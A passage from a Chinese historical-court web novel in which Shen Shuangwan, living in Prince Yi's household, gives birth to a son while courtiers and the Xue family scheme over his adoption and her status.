沈霜晚看了他两眼,笑着道:“长史还有什么事情么?”
罗粱道:“属下今日方觉得夫人是个妙人,方才那句话说得极好。就忍不住还想跟夫人聊一聊。”
“聊什么?”沈霜晚好奇。
罗粱道:“请夫人放心,我不是打算倚老卖老对夫人说些什么教导的话,就是随便聊一聊。”顿了顿,他道,“之前杨娘子每次到府上来吵闹,若是殿下不在,我们要废许多工夫才能把她哄走。”
沈霜晚笑着道:“杨娘子看起来也不是好相与的人。”
“这次找夫人,还是殿下走之前的叮嘱,我原本还有些怀疑,但没想到夫人竟然处理得如此之好,如此之妙。”罗粱道,“有些话我们这些人是无法开口的,只有夫人开口才叫他们退缩。”
沈霜晚道:“你这话说得我仿佛什么灵丹妙药一般。”
罗粱道:“夫人如今和灵丹妙药也没有两样了。”
沈霜晚便笑起来,道:“要管用才算妙药,若不管用,也不过是扯虎皮拉大旗,虚张声势。”
罗粱也不禁莞尔,他道:“夫人是个妙人,这一点是没错的。”他看向了沈霜晚的肚子,忽然问道,“夫人打算将来抚养这个孩子吗?”
“这是自然。”沈霜晚道,“我总不能把他送回薛家吧?”
“若薛家来讨要呢?”罗粱问。
沈霜晚想了想,道:“那时候只好求殿下帮一帮我了。”
罗粱笑道:“我倒是有个法子,夫人暂且一听便是。”
沈霜晚道:“长史请讲。”
罗粱道:“我听闻沈大人当年未留下嗣子便去世,后来沈家强行给沈大人过继了嗣子。”
“的确如此。”沈霜晚停下脚步,认真看向了罗粱。
罗粱也停
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下脚步,他看着沈霜晚:“那位嗣子是不是也折在前两年东宫之事上面了?”
“是。”沈霜晚点了头。
罗粱道:“这便正好,到时候夫人可上书,过继这位孩子为沈家后嗣。沈大人一生清廉,在光州时候也是人人爱戴,无故绝嗣,实在令人惋惜啊!”
若非罗粱此时提起,沈霜晚想都没想到还有这样的法子——这样好的办法。她真心实意谢过了罗粱,道:“多谢长史教我。”
罗粱笑着道:“我要多谢夫人愿意听我胡说八道。”
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回到梧桐院,那久未出现的莫名声音响起来了。
自从她到了王府,那声音已经许久没有出现,她都要以为这声音从此消失,没想到竟然还在。
那声音道:“你不要把孩子过继给沈家。”
太久没听到这声音,沈霜晚突然多了几分聊天的兴致,她在心中问道:为什么呢?我是必定会这么做的,你从前都无法改变我的心思,难道你会觉得我在这件事情上会退让么?
那声音沉默许久,最后道:“我原以为我能改变你我的将来的。”
沈霜晚觉得这话实在好笑,她道:你都想改变我的将来了,你都不愿意告诉我你是谁。我之前猜的是对的么?
那声音没有回答。
沈霜晚却不想放过这次追问的机会,她问:你来自将来,和我的梦一样,是不是?
过了许久那声音给出了肯定的答案,他说:“是。”
沈霜晚听着这话,便也不再追问下去,无论这声音到底来自哪个将来,她的将来必定和他想要的不同,也和她梦中的不同。
她便也不再纠结这声音究竟是谁。
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宫中的寿宴已经散去,烟花谢幕,百姓热闹的声音也渐渐消失听不见。
夜晚重新变得安静。
仪王打着呵欠指挥宫人收拾寿宴后的殿阁楼台。
今上和皇后已经去休息,来参加宫宴的使臣宗亲们也已经离开,前一刻还热闹万分的殿阁现在一片寂静,只有宫人们打着灯笼抓紧时间扫撒,万不能叫今上明天还见到这样狼藉的样子。
仪王倚着栏杆坐着,一手提着风灯,一手拿着个市井中常见的肉卷饼啃着。
“殿下早些休息吧,这儿有奴婢们呢!”内侍上前来笑着对仪王说道。
仪王啃了一大口卷饼,又摆了摆手,道:“没事,我再站一站,等天亮我就好回府睡觉了。”
听着这话,内侍便也不再多劝,只催促着其他人赶紧干活。
仪王慢慢咀嚼着那卷饼,心中在想寿宴上今上说的话。
今上透露了要立太子的意思,但现在还没说究竟要立的是谁。
那时候有许多人在看他,还有许多人在看皇后。
而他对太子之位没有太多执念,他自从两年前开始,便只有一个念头,那就是要把当初所有在先太子之死的事情中插手过的人,全都送去地府,一个也不留。
包括——今上。
29. 国舅
天际有了蒙蒙光亮时候,仪王骑着马慢慢离开皇宫。
北风凛冽,似有小雪又在飘散。
仪王抬头看了看灰蒙蒙的天,心想着大约做皇帝的还是有一些天人感应,否则昨日寿宴为何那样晴好没见着风也没见着雪?
街坊卖早点的铺子已经开了门,远远能看到有炊烟袅袅,还有蒸食油炸的香味,仪王摸了摸肚子,便掉转马头往街坊里走。
“两个炸糕,再来一碗汤面。”从马上跳下来,仪王自己拖了小凳子出来坐下了,他回头看向跟着自己的侍卫们,“想吃什么,自己叫。”
卖早点的老板一边高声应下,一边叫人把屋子里面的小凳子都拿了出来,请那些侍卫也坐。
侍卫们交头接耳一番,先派了人把马都牵出去栓好,然后才七嘴八舌地对着老板说了想吃的东西。
一时间整个里坊都热闹起来。
吃完了炸糕和汤面,天便完全亮起来,雪也开始下得大了。
仪王戴好了帽子,正打算重新上马,便见府中已经有马车出来接应,自家长史罗粱正在马车旁边等着他。
大雪天骑马并不是什么舒服的事情,仪王对着罗粱笑道:“你来得也太及时。”
罗粱一边请仪王先上车,一边笑道:“殿下还没回府,宫里已经派人到府里说了,我一看便知道殿下肯定是先来这里吃早饭,便赶紧叫他们备车过来。”
仪王上了马车,示意罗粱也一起坐上了,随口问道:“府里这些时日还好么?”
罗粱上车后把厚厚的帘子给压好,然后看向了仪王,道:“除了昨日杨娘子到府里来耍酒疯,就没有什么别的事情了。”
仪王听着这话露出无可奈何神色:“原来她昨日跑得那么快是要到我们府里来装疯卖傻,舅舅还找了她好一会呢!”
罗粱道:“我依着殿下的吩咐,请了沈夫人来帮忙,沈夫人倒是妙人,两句话便叫杨家人没了话说。”说着他看向了仪王,“我看沈夫人将来生子也许颇多烦恼,便与她出了个主意,叫她把那孩子过继回沈家去当嗣子,如此老沈大人也不算绝嗣了。”
仪王笑起来,道:“这倒是个好主意,看来你对沈夫人颇为欣赏。”
罗粱道:“大约是这一年年的和杨娘子纠缠太久,便觉得沈夫人分外通情达理和蔼可亲。”
仪王有些好奇:“杨氏昨天发酒疯做什么了?”
罗粱道:“她以王妃身份过来整顿王府了。”
仪王半晌无语,又问:“杨家人带走时候说了什么没有?”
罗粱道:“杨家人自然说他们家娘子酒后迷糊都是胡说乱说,但沈夫人说,酒后才是真心话,这事情一定会告诉殿下,杨家人大约还是惧怕殿下会迁怒,便赶紧把杨娘子带走了。”
“这话也的确就只有她才好开口,你们都不太好说。”仪王笑了起来,他往后靠了靠,“宫里的事情总算忙完,也好休息一些时日,杨家最近应当不会再上门来。”
罗粱却看向了仪王,道:“圣上说要立太子之事,殿下没什么打算么?”
“等隋王他们跳出来再说,急什么?”仪王漫不经心地把手炉揣在怀里,“这事情没什么好急的,父皇自己都不太想现在就立一个太子。”
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纷纷大雪中,隋王站立庭前。
他抬头看着灰蒙蒙的天,看那鹅毛一样的大雪。
他想起两年前也是这样的一天,先太子与郑鹤得就在京城冲杀,那时候他惊慌失措想要进宫去,但却被母妃派来的内侍堵在了家里面。
“哪里都不要去,等着。”内侍这样对他说。
他问:“要等到什么时候?”
内侍说:“等外间事了了,殿下就可以进宫去哭一哭。”
那时候他的府邸外面已经被重重包围,他哪怕想出去也不能了。
于是他便就满心惶惶等候在府邸中,他听闻太子最终带着二皇子和三皇子一起被郑鹤得逼得离京,又听闻皇后带着仪王匆忙从东都回来,最后却是郑鹤得死了,太子也死了。
他终究是没有找到进宫哭的机会。
他后来也没有机会再见到自己的母妃——一直到他的母妃去世之前,皇后额外开恩叫他和嘉王一起进宫见了她最后一面。
他的母妃那时候已经进入了弥留之际,她拉着他的手,喃喃叮嘱他要忍耐。
忍耐,他要忍耐到何时?
外面有人进来通传,说嘉王到了。
隋王回过神来,抬眼便见到嘉王穿着厚厚的衣裳正顺着回廊走过来。
“我府上做了蒸饺,想着你是喜欢吃这个的,就给你带过来了。”嘉王把手里的食盒亮给他看,“大早上的在外面站着做什么?有闲情逸致要吟诗一首?”
隋王笑了起来,道:“只是想到有些事情,便出来站站。”
“想什么?太子的事情?”嘉王一边说着一边直接往屋子里面走,隋王便跟了上去。
两人随便在屋子里面找了位置坐下,嘉王把食盒里面的蒸饺摆出来,又把佐料分了隋王一半。
隋王接过了佐料,拿了筷子给嘉王,口中道:“在想父皇会不会立仪王。”
嘉王接了筷子,道:“要想立他,昨天父皇就直接开口了,他可是皇后嫡子。皇后昨天都没说话,可见就是不怎么想立他的。哥,你现在是事实上的长子,嫡子既然指望不上,也只有你这个长子了。”
“也只能这么想了。”隋王叹了一声,“我今日想起母妃,还想起那年郑鹤得和太子那次……”
“郑鹤得那次要是能直接把皇后和仪王一起拉下去就好了。”嘉王如此说道。
隋王也这么想,他吃下了一只饺子,又看向了外面。
“听说昨天杨家那位又跑到仪王府上闹腾。”嘉王幸灾乐祸说道,“只怕今天又要闹到宫里去,要我说,哥你根本不用担心,就杨家和仪王那事情,外加他现在府里还有怀着别人孩子的一个妇人,他这一屁股烂账,轮到谁也轮不到他去当太子。”
这话叫隋王笑出声来,他点了点
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头,道:“道理也的确如此。”
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雪中,仪王府的车驾从角门直接进到王府中去。
仪王昏昏欲睡中被罗粱叫醒,慢吞吞下了车,还没站稳就听旁边内侍说杨国舅正在厅中。
看了眼天色,仪王估摸着这也不过是卯时,心中只觉得烦躁,但杨国舅不同于杨月芷,他只好掸了掸衣袖转身往正厅去。
正厅中,国舅杨峻英不言苟笑地端坐着,见到仪王进来,他便站起来。
舅甥二人相互见礼,然后仪王便就在一旁坐了下来。
杨峻英是皇后的亲兄弟,仪王与杨月芷成亲之前,也是关系和睦的。
不过谁也没想到,这桩原本是要亲上加亲的婚事最后闹到现在地步,原本和睦亲密的关系如今甚至有些岌岌可危。
“昨天五娘喝醉酒跑到你这儿来胡闹,我回去骂过她了。”杨峻英说道,“你便看在舅舅份上,饶过她吧?”
仪王无所谓地笑了一笑,道:“舅舅,你得跟她说,叫她别进宫去找我母后告状。”
杨峻英便道:“我会叫人看着她。”
舅甥二人再次沉默下来。
杨峻英看了仪王一眼,想到寿宴上今上说过关于立太子的那些话,有心和他多说几句,便又道:“我说句托大的话,你与五娘若是能和好如初,在圣上眼里,你就算是个有担当的大人了。”
“舅舅这话就收起来吧!”仪王笑睨了杨峻英一眼,“不提她,我还是很愿意喊你一声舅舅的,非要提她,我可就没什么好话说了。国舅不是一早上跑到孤这儿找骂的吧?”
最后那话一出,杨峻英面色微微变了变,终究是没好再说杨月芷。他缓和了语气道:“如今你府上没个正经王妃,实在荒唐。”
仪王淡淡道:“我不觉得荒唐就行,舅舅就不必操心了。”
杨峻英面色又变了变,末了却也再没多说什么。
仪王只当没看到一般大大打了个呵欠,端起了茶杯。
杨峻英心中有数,便站起身来,道:“舅舅府上还有事情,这便先回去了。”
仪王也没起身,淡淡道:“我便不送舅舅了。”
杨峻英往外走了几步,忽地又想起什么,回头看向了仪王。他道:“你府上那位沈夫人……前几日永平侯到我府上来求我说和,舅舅没答应他。”
仪王有些意外,他含笑看着杨峻英,道:“舅舅心里是向着我的,我心中明白。”
杨峻英面上神色松快许多,他道:“罢了,你好好休息,我回去了。”
这次仪王便站起来,他走到杨峻英面前,笑道:“我送舅舅出去。外面雪大,我叫人把马车直接赶进来,免得淋了雪着凉。”
杨峻英没忍住拍了拍仪王的肩膀,道:“你要好好的,你母后才能好好的。”
仪王道:“我明白的。”
说话间,罗粱已经让人把杨家的马车赶进庭院中来。
仪王便亲自上前去替杨峻英掀开了帘子,又目送了他上车去。
30. 生子
约是国舅回家后果真管教了杨月芷,又或者是别的什么原因,从今上寿宴之后再到过年,甚至到了上元节,杨月芷都没有再出现在仪王面前了。
而自从今上说了要立太子,朝堂中便各种蠢蠢欲动,似乎人人都在开始为国操心起来,今上仅剩的几个皇子全被他们扒拉了一遍,几乎人人都被提议立为太子。
仪王对这些事情没什么兴趣,只问过了皇后今年要不要去东都小住,得到了不去的答案后,便每日在家里看书画画写字,还与京中那些风流才子们一道去游园。
期间薛望拐弯抹角找了他几次,他懒得搭理,碰了几次壁之后,薛望便再没出现在他面前。不多时又听说了长公主府里的闹腾,仪王生出几分幸灾乐祸,原还想当做笑话与沈霜晚说,但看着她肚子一日大过一日,便也熄了那心思,怕她一不留神就出什么事情。
但大约是担心什么便要来什么,二月初一夜晚,仪王正与陈斯罗粱等人聊起近来京城突然冒出来那几个道士的时候,梧桐院那边叫了府医和稳婆,接着便沈霜晚那边的侍女也过来通传了她将要临盆的消息。
这些王府掾属们对沈霜晚的身份自然是心知肚明,他们便纷纷起身来不再与仪王闲扯那些无关的事情。
罗粱提醒仪王道:“若殿下打算把这孩子认下,就请个太医到府上来。”
仪王颇有些哭笑不得,他道:“我还得问问沈夫人意思呢。”顿了顿,他想到女人生孩子这事情向来是凶险,还是叫人去宫里请了太医。
这边去请了太医,仪王还是亲自往梧桐院走了一趟,隔着屏风问过了沈霜晚的情形,听着她声音呼吸都还如常,便放心下来。
等到太医来了,与府医稳婆一道看过了沈霜晚的情形,又商量着用药之类,待到天亮时候,沈霜晚便生下了一个男孩,竟算得上是顺利得出奇。
仪王看了看那男孩,只觉得小小一只红彤彤的还没皇后宫里养的那只猫大,略抱了一回,就交还给了奶娘去照顾。
里面沈霜晚生完小孩已经睡下,他没有过去打扰,只叮嘱了众人好好照顾她。
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宫中皇后一早听说了这事,仪王刚从梧桐院回到前院,便见皇后宫里的宫人正等在那里。
“娘娘听说沈夫人生产,派奴婢过来看一看。”行过礼后,宫人客客气气向仪王笑着道,“殿下要是能进宫一趟就更好了。”
仪王有些无奈了,道:“我叫人带你过去看吧!”
宫人便笑着向仪王道:“殿下稍后与奴婢一道进宫么?”
仪王道:“进宫,母后都派人来了,我哪能不去的。”
宫人得了肯定的答复,便跟着下人去往梧桐院看小孩儿。
仪王便趁着这机会去洗漱一番吃了早膳又换了衣服,等到那宫人看过小孩儿回来,再一同进宫去。
进到长宁宫,皇后也是刚用过早膳没有多久,见到仪王便先问他吃过没有。听着仪王说吃过,皇后便笑着叫他先坐下,道:“你府上那位沈氏生子,你父皇知道了。”
仪王有些意外,又有些皱眉,道:“这事情与父皇有什么关系?”
皇后道:“前两日长公主还在为了她家郡主的事情在求你父皇给恩典,你父皇便找了我来商量。我对你父皇说,若想要光鲜没人说闲话,就再拖个一两年,等人把永平侯的事情都忘得差不多了,再成亲就行了。长公主只说是拗不过郡主,想和沈氏修好,只要沈氏不说什么,也没人去管永平侯那些旧事。”
仪王嘲笑道:“与其总是盯着沈氏,不如盯着永平侯。叫那永平侯少去纠缠沈氏,那便什么闲话都没有了。现在永平侯与沈氏和离,两人又没有夫妻关系,有什么值得说闲话的?”
皇后道:“长公主大约还是想要个十全十美的。”
“天底下哪来那么多十全十美的好事落到她头上?”仪王没忍住翻了个白眼。
皇后莞尔,道:“无论如何,沈氏今天生了个男孩儿,你父皇都要过问一二的。”
“这小孩我之前和沈氏商量过了,等他站稳了就过继到沈家当嗣子。”仪王看向了皇后,“她家当年被亲族欺负太狠,都没正经给她父亲过继好嗣子,这个小孩正好便好过继回去,让沈家百年后也有香火继承。”
皇后露出赞同神色,道:“对这小孩儿来说也是个好安排。”顿了顿,皇后又看向了仪王,“不过若是薛家硬要认回去呢?”
仪王撑着头想了一会,道:“薛望把这孩子要回去膈应袁嘉儿么?”
这话听得皇后摇头,道:“薛望是孩子亲生父亲,他心境与你是不同的。”
仪王不以为然,道:“他要果真珍惜这个孩子,那时候就不会和袁嘉儿勾勾搭搭。”顿了顿,他又道,“薛望那种人最可恶一点便是他总是隐在后头,把所有责任都推到其他人身上,仿佛他很无辜一般。我最看不上这样没担当的男人。”
母子两人正说着话,外面有内侍进来通传说今上正往长宁宫来。两人便收了话头,起身往殿外迎了几步。
.
天气晴好,春天已经悄然而至。
今上没有乘坐肩舆,而是从前面麟德殿走过来。
见到皇后和仪王,今上笑道:“今天太阳好,是适合踏青的天气。”一边说着,他免去了皇后和仪王行礼,又道,“等会不如便往江边转一转,如何?”
皇后笑着道:“自然是好。”
今上便又看向了仪王,道:“你也跟着一起。”
仪王道:“万一等会父皇多说几句又恼火了要我滚,我还跟不跟?”
今上想起来今天到长宁宫来的缘由,再一听仪王这话,脸黑了一半:“你憋着什么话想说这会儿先说了吧!省得等会又要气死朕。”
仪王无辜道:“可我还什么都没打算说呢……”
一旁皇后笑
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出声来,她拍了拍今上的手,道:“陛下别和他这赖皮脸纠缠,他就是多嘴多舌任性妄为。”
今上虚点了仪王几下,无可奈何:“你这脾气,朕是真怕哪天你被人套了麻袋打一顿。”
仪王跟在皇后身边一起与今上王殿中走,口中道:“我平日里安安静静也总不惹事的,都是别人先招惹的我。我从来不乱说话,我说的全是大实话。”
“朕听说沈氏生了儿子。”今上不理仪王东扯西拉的那些,坐下之后看向了他,“你打算养着?”
“儿臣之前就与沈氏商量了,当初她父亲去世时候,被宗族欺凌,没能过继得一个真心实意的嗣子,后来沈家败落,自然她父亲也失了后人。我便与沈氏说了,等这小孩儿站住,便过继回沈家去,便叫老沈大人百年后有个后嗣。”仪王坦然说道,“沈氏是孝女,她是愿意的。”
这话叫今上顿住了,他显然是没想到仪王是打算如此处置这小孩的。他想了想,看向了皇后,道:“这倒是个很不错的法子,沈令德当年也是能臣干吏,谁能想到沈家会落败如此,他当初若能处理好了后事,沈氏也未必会到如此境地。”
皇后道:“他哪知道他死后宗族就要欺负孤儿寡母了?”
今上叹了口气,道:“是啊,人哪能知道死后的事情呢?”顿了顿,今上复又看向了仪王,“既然你与沈氏商量好了,便就……”
“陛下且慢。”皇后笑了笑,把话头接了过去,“方才我还在与十一郎商量呢,万一薛家就是要认这孩子回去呢?再如何,永平侯是这孩子亲生父亲,他要认这孩子也是天经地义。”
今上皱了眉头,道:“的确也是如此。”
皇后道:“先不急于这一时,孩子才刚出生,还早着呢!”
“但话先说前头,这小孩儿我是不会让薛家抱走的,沈氏现在是我夫人,没有道理让薛家把小孩带走。”仪王道,“薛望不是要与表妹成亲么,到时候让表妹生就是了。”
今上看了仪王一眼,狐疑道:“难道你很喜欢那个沈氏?不是赌气?”
仪王道:“这与喜欢不喜欢无关,这是我的尊严!我的脸面!”
这话叫今上都听笑了,今上没忍住刻薄道:“你的尊严和脸面在这上头真是贻笑大方,让朕要笑掉大牙了。你什么时候后院平顺不闹事了,才是有尊严和脸面了。”
仪王完全不以为然,他道:“我后院明明安静得很,沈氏乖巧不闹事,还替我着想。闹事的分明另有其人,父皇可别对着我阴阳怪气。”
这话听得今上还想再挖苦他几句,但转念一想,却又没了话说。
仪王见好就收,道:“父皇若是没别的事情吩咐,我们便一起去江边踏青吧?趁着今天太阳好,出去走走多好呀!父皇和母后在宫里闷了一个冬天,正应该出去走走呢!”
今上笑看了他一眼,便道:“那出行的事情就交给你去安排了。”
31. 义女
薛望快半月后才知道沈霜晚生下一子的消息。
他与沈霜晚和离后过得并不顺心。
尽管有郡主常常表露出对他的喜爱,年节时候都送了重礼,可不知为何他便更加常常想起沈霜晚,还有她肚子里的孩子。
他总想起沈霜晚的温柔体贴,也总想起她的知情识趣。
他心知郡主必定不会是这样的女人,他甚至也不敢在郡主面前表露出什么来。
他从前与沈霜晚在一起时候能做一个真实的人。
而之后与郡主在一起时候,便只能对郡主千依百顺了。
更讽刺是,他还不知道能不能真的与郡主在一起,长公主到如今都还在拖延,若是郡主他日变心爱上其他人,长公主必定愿意让郡主嫁给他人而不是他。
他如今满心怨恨,他只觉得这世上一切都是不公。
朱氏听说薛望要去仪王府上把沈霜晚和孩子一起接回来时候,露出了不赞同的神色。
“你这岂不是叫郡主难堪?”朱氏看着薛望,她沉沉叹了口气,“你不能总是想一出是一出。若是当初拦下来不叫她走也就罢了,她现在是仪王府上的夫人了,她不再是你的妻子。”
“就算她不回来,孩子也是要回来的。”薛望罕见平静,“总不能叫我们薛家的孩子流落别处,到时候叫人笑话。”
“你又不是不能生,郡主进门了,你多少孩子不能得?”朱氏道,“主母眼里最厌恶的就是那些不是从她肚子里生出来的孩子,郡主会不高兴的。”
薛望深深看向了朱氏,道:“她高兴与否与我有什么关系?就因为她是郡主,我要在她面前低头一辈子?那她干脆不要嫁给我好了。”
朱氏被这话堵住,半晌没说出话来。
薛望又道:“若果真要成亲,或者老早就上门来说婚事。年前我也派人往长公主府上去过,长公主只不松口。母亲莫不是觉得那郡主必定是要嫁过来的吧?”
朱氏皱着眉头,道:“这事情哪能急呢?难不成就你一个人爱名声,不许别人也对羽毛十分珍惜?长公主多年来在京中不曾被人说过什么怪话,如今要因为女儿晚节不保,她难道不多想想?”顿了顿,她接着又道,“总要拖到没人在意这事情了,才好让你们成亲呢!”
薛望不语。
朱氏道:“我知道你最近难过,但不能意气用事。沈氏的孩子若你想要,接回来便也罢了,她本人是不能回来的。你不能又得罪郡主又得罪仪王。”
薛望长长叹了一声,道:“我当初便就是做错了,我便应当拒绝了郡主。”
朱氏道:“你当初做的便就是对的,得了郡主,将来你什么得不到呢?就算得不到,你也摆脱了沈氏,能再娶一位别家淑女。问起来也不是你辜负了沈氏,分明是郡主仗势欺人,是不是?”
薛望静默了一会,仿佛是转过弯来了,他道:“那便早些把孩子接回来吧!”
“这事情也不必你亲自出面。”朱氏道,“我派两个人过去就是了,你过去也不像话,太兴师动众了一些。”
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长公主府中,武阳长公主正与自己儿子乐昌郡王商量着成安郡主与薛望的亲事。
乐昌郡王道:“这事情说到底还是妹妹太主动,我以为还是要压一压薛家,不能叫薛家得意忘形。到时候他直接把事情往咱们家一推,全都成了我们作恶,倒是不好。”
长公主点了头,道:“我也是这么想。他们家把沈夫人赶走得那么果断,显然对沈夫人不满。说不得他接近嘉儿都是蓄谋已久,我看他实在不是什么老实安分的样子。”说到这里,长公主叹了一声,道,“就是嘉儿是个傻的,什么都看不出来,还一天天总催这催那。”
乐昌郡王道:“我倒是有个法子,母亲且听一听。”
长公主道:“你说就是。”
乐昌郡王道:“我听闻仪王对那沈夫人还颇多关心,那日沈夫人生产时候,他特地从宫里请了太医。可见仪王对这位沈夫人也并非只是那日的一时兴起。”
长公主笑了一声,道:“你那日不在,没见到那沈夫人,那位沈夫人相貌是极为出众的,仪王只是厌恶杨氏又不是讨厌女人,喜欢沈氏是再正常不过的事情。”
乐昌郡王也笑了笑,道:“母亲与我担心的都是妹妹与那薛望成亲后,薛望抛妻弃子的事情全都推到了妹妹头上,叫妹妹难过,还叫人说我们府上仗势欺人。我前日在家里思索了许久,想到这么一个法子。母亲不如便与那沈夫人结个干亲,如何?”
长公主愣了愣,意外极了:“干亲?”
“母亲认沈氏为义女,沈氏便也算是我们家的人,到时候仪王想给她晋位也有底气。”乐昌郡王说道,“沈氏是母亲义女,与嘉儿也就是姐妹,姐妹之间便不再有什么嫌隙,嘉儿若是愿意,把沈氏生下那小孩儿抱着养了最好。一来是显得嘉儿大度,二来是显得沈氏与她姐妹情深。如此一来,便不会再有人觉得是我们府上欺负了那位沈夫人。”
长公主露出若有所思神色,她道:“你这么一说……倒的确是个法子。”
乐昌郡王道:“母亲所担心的便就是我们府上名声,这便就是一个修补一切的好办法。”说着他笑了一声,又道,“我想那位沈夫人应当不会拒绝的,沈家落败已久,她若将来想在仪王府上长久,总得有个娘家才有依仗。”
“但嘉儿未必愿意。”长公主叹了一声,“她要是知道这事情,怕不是又要大吵大闹。”
“我来说吧!”乐昌郡王道,“她在母亲这里胡搅蛮缠,在我面前还算是规矩听话的。”
长公主道:“且试试吧,希望嘉儿又大了一岁,会变得懂事一些。”
乐昌郡王笑了笑,便叫人去把成安郡主叫到厅中来。
不过一会儿,成安郡主便从后面过来了,她面上带着笑,进到厅中来便直接扑到长公主身旁,亲昵地挨着长公主坐下了。
“母亲和阿兄找我什么事情?”成安郡主笑着问,“我刚才在看他们捞后面池塘里面的树叶子之类的,不知道从哪里来了几只野鹤,站在旁边抓鱼吃
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。我本来想把那几只野鹤赶走,可看它们好像也不怕人的样子。”
“小心被野鹤啄了,到时候你就哭吧!”长公主拍了拍女儿的脑袋,“有件事情,让你阿兄跟你说。”
成安郡主便坐直了看向了乐昌郡王:“阿兄请讲,我听着呢!”
乐昌郡王看向了她,道:“母亲打算认个义女。”
“义女?”成安郡主眨了眨眼睛,露出了疑惑神色,“是谁家的女孩儿?我认不认识?为什么要认义女呀?”
“就是仪王府的沈夫人。”乐昌郡王仔细看着成安郡主的神色,“到时候你与她就是姐妹了。”
“沈氏?”成安郡主惊愕地睁大了眼睛,“为什么!该不会你们还想让我养她的便宜儿子吧!我不要!”她气鼓鼓地看向了长公主,大声道,“我不要!我不允许!我不同意!”
长公主颇有些无奈地看向了儿子,并没有立刻说什么。
乐昌郡王耐着性子把刚才与长公主说过的那番话重新讲了一遍,然后看着袁嘉儿,道:“你与薛望之间,不能叫薛望压在你头上,得让他捧着你,你明白吗?母亲认沈氏为义女,沈氏便站在我们这边,将来不管薛望要做什么,他都心中忌惮。再有,我们府上和仪王交好,对你也有好处啊!就算看在仪王的份上,也没人敢欺负你,是不是?”
这话叫成安郡主陷入了沉思,她皱着眉头,只道:“可这……分明是让我给沈氏低头了。”
“暂时低头又怕什么?”长公主终于开口了,“不过都是暂时的。你若想和薛望成亲,最好便能把他拿捏在手里,省得他闹出什么别的事情来。他当日能背叛了沈氏喜欢你,将来或者就能背叛了你去喜欢另一个什么李氏赵氏。他总想清清白白,把责任都推到别人身上,那你就不能叫他有机会那么做。”
成安郡主面色萎靡,道:“我只是喜欢他,你们把他说得坏极了。”
长公主摸了摸成安郡主的脸,道:“那就说定了,我去认她为义女。”
.
仪王府中,沈霜晚从仪王手里接过了两封帖子。
她还在月子中,仪王老早便与她说过了好好休养不必管外面的事情,这会他却亲自拿了两封帖子过来,实在让她有些意外。
“本来不打算叫你操心,但我看了看这上头的事情,又跟罗粱商量了一会,还是叫你看一眼,心中最好有数。”仪王在旁边逗了逗摇篮里面睁着眼睛不知道在看什么的小孩儿,语气随意。
沈霜晚打开帖子看了看,第一封是长公主府的帖子,说是长公主想认她为义女,第二封是永平侯府的帖子,说他们打算把小孩接回薛家去。
这实在是让她感觉有些荒谬的两封帖子,她重新又看了一遍,然后看向了仪王:“殿下替我回了他们吧!”
“好啊!”仪王转身看向了她,“你说我写,你想怎么回?”
“也不必那么慎重,不认干亲,孩子也不会让他们接走。”沈霜晚笑着把帖子交还给仪王,“也不知为什么他们现在还这么惦记着我。”
32. 纠缠不清
沈霜晚觉得薛家与长公主一家都十分好笑。
她实在不能理解为何他们还在她身上纠缠不清,她与薛家没有关系,和长公主更无瓜葛,他们苦苦纠缠在她身上,反而叫别人想起他们不愿意叫人想起的那些事情。
换作是她,她定是不会这么做的。
无论是去抱回孩子,还是认什么干亲。
但反过来想一想,她倒是也觉得薛家和长公主一家倒是十分般配,否则怎么会行为如此一致呢?
她这么想着,便也就对仪王说了。
“我如今在殿下府上,也少不得要麻烦殿下帮我挡一挡这些荒谬事情。”她笑着对仪王说道,“这次回绝了他们,我只希望他们不要再三打扰,否则尽是给殿下找麻烦。”
仪王无所谓地在旁边坐了,他随手就替沈霜晚写了回绝的帖子,口中道:“这不算什么麻烦事情,我既然叫你到我府上来,我替你挡一挡这些事情就是应该的。”
说着,他便叫人把写好的帖子送到前头去,叫罗粱分别发还给薛家和长公主府上。
沈霜晚笑着道:“殿下替我挡这些事情,我却不应当视为理所应当。我针线上还算出色,最近还闲着没什么事情可做,便给殿下做一身衣裳,如何?”
仪王笑着摆手,道:“你还在月子里动什么针线?”一边说着,他一边站起身来,“我也不在这里打扰你,我在这儿坐下你整个人都是紧绷着的。”
沈霜晚抬头看向仪王,含笑道:“竟然被殿下发现我在紧张了。”
仪王一边往外走一边道:“我到前头去了,你有什么事情差个人去前头传话就是。”
沈霜晚便再次应下。
仪王行到门口时候忽然想起什么又回头去看沈霜晚,沈霜晚没觉察到他回头,她弯腰正把摇篮里面的小孩儿抱起来。
逆着光,她的侧脸柔美。
他动作顿了顿,一时间也忘了自己想要说的是什么。
他素来不爱多纠结这些事情,便掀了帘子出去。
在廊下站定,他后知后觉意识到沈霜晚是个少见的美人——她比宫中许多以美貌著称的妃嫔更漂亮。
仪王忽地笑了一声,倒是有些理解为什么薛望纠缠不放了。
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仪王府的回帖很快就送到了永平侯府。
朱氏先拿着帖子看过,便叫人去书房请了薛望过来。
“仪王府回绝了这事情,依我的意思,便可以到此为止了。”朱氏把帖子递到薛望手中,“这事情实在没必要纠缠,你就只当没这个孩子的。”
薛望把回帖看过,沉默了一会才道:“我做不到。”
“做不到也要做,否则你想如何?去仪王府上把孩子抢回来?”朱氏看着薛望,“我现在倒是觉得沈氏比你明白,当初她自己知道应该离开你,现在她也知道那孩子与你无关。你不如学一学沈氏。”顿了顿,她语气缓和了一些,又道,“你想一想你总也放不开的前程和名声,也能把心肠硬起来了。你若执意要与沈氏纠缠,那么这两样你都得不到。”
薛望一言不发站起身,拿着帖子便往外走。
朱氏皱眉,亦站了起来:“你站住,你是想去做什么?”
“我当然要把孩子接回来。”薛望回头看向了朱氏,“我受够了,我要把沈氏也接回来。”
“你疯了?”朱氏一把抓住了他的胳膊,“你难道不想娶郡主了?”
“母亲,你可知道长公主要认沈氏为义女的事情?”薛望甩开了朱氏的手,“他们想拿捏我,拿捏整个侯府,我不能坐以待毙。”
“我没有听说这件事情,你从何处得知的?”朱氏眉头紧皱,“你进来,这事情你为什么不早告诉我?长公主认沈氏为义女?这怎么可能?”
薛望重新回到屋子里坐下,他道:“是长公主府上的令丞与人闲话时候不小心说漏了。据说是乐昌郡王提议的,虽然郡主不愿意,但长公主已经做了决定。”
“沈氏同意了?”朱氏看向了薛望。
薛望摇头,道:“我不知道。”
朱氏看着薛望,心中已经有了决断,她道:“若沈氏应了这事,你便也不要娶什么郡主,直接想办法外放出京便是。到时候母亲与你一道离开。”
薛望抬头看向了朱氏:“母亲的意思是?”
